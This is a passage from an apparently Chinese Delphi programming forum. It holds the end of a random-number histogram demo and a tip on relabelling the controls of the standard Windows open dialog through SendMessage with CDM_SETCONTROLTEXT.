      x2:=w*(i+1) div DivNumber;
      y:=h*RandRecord[i] div max;
      FillRect(Rect(x1,h,x2,h-y));
    end;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
  i:Integer;
begin
  for i:=0 to DivNumber-1 do
    RandRecord[i]:=0;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  Count:Integer;
begin
  if Button2.Tag=1 then
  begin
    Button2.Tag:=0;
    exit;
  end;
  Button2.Tag:=1;
  Button2.Caption:='Stop';
  Count:=0;
  while (Button2.Tag<>0) and (Count<SpinEdit1.Value) do
  begin
    Button1.Click;
    Application.ProcessMessages;
    Inc(Count);
  end;
  Button2.Tag:=0;
  Button2.Caption:='Start';
end;

end.

  注：运行环境为：PIII800，Win NT4

  每次产生6个均匀分布于 0-999999 的数字，完全重复的概率为[red]十的负三十六次方[/red]。OK?
[:)][:)][^][^]

  欢迎大家提出改进意见！谢谢！

另：若分类不妥，还有劳版主，将其放到适当的分类中去，谢谢了！


改变标准对话框的显示文字

问题提出/摘要:

怎样改变标准Windows对话框的显示文字,诸如"文件名","文件类型"和按钮的文字？

回答:

有时我们忽然心血来潮想要摆脱看厌了的标准Windows 打开/保存对话框，对它进行如一些小改变。

不幸的是Delphi的对话框构件并未提供对Windows通用对话框全部控制的访问。但Windows API却可以帮我们做到。

下例示范了怎么样对打开对话框所有嵌入的文本进行改变。

首先，我们需要找到该对话框控制的标识，如下：

const

// LB_FOLDERS_ID = 65535;

LB_FILETYPES_ID = 1089; // "File types:" label

LB_FILENAME_ID = 1090; // "File name:" label

LB_DRIVES_ID = 1091; // "Look in:" label

其次，我们需要对那些待改变的控制发送消息，如下：

procedure TForm1.OpenDialog1Show(Sender: TObject);

const

CDM_SETCONTROLTEXT = 1128;

// LB_FOLDERS_ID = 65535;

LB_FILETYPES_ID = 1089;

LB_FILENAME_ID = 1090;

LB_DRIVES_ID = 1091;

Str1 = 'Four';

Str2 = 'Five';

Str3 = 'One';

Str4 = 'Two';

Str5 = 'Three';

begin

SendMessage( GetParent(OpenDialog1.Handle), CDM_SETCONTROLTEXT, IDOK,LongInt(Pchar(Str1)));

SendMessage( GetParent(OpenDialog1.Handle), CDM_SETCONTROLTEXT, IDCANCEL, LongInt(Pchar(Str2)));

SendMessage( GetParent(OpenDialog1.Handle), CDM_SETCONTROLTEXT, LB_FILETYPES_ID, LongInt(Pchar(Str3)));

SendMessage( GetParent(OpenDialog1.Handle), CDM_SETCONTROLTEXT, LB_FILENAME_ID, LongInt(Pchar(Str4)));

SendMessage( GetParent(OpenDialog1.Handle), CDM_SETCONTROLTEXT, LB_DRIVES_ID, LongInt(Pchar(Str5)));

end;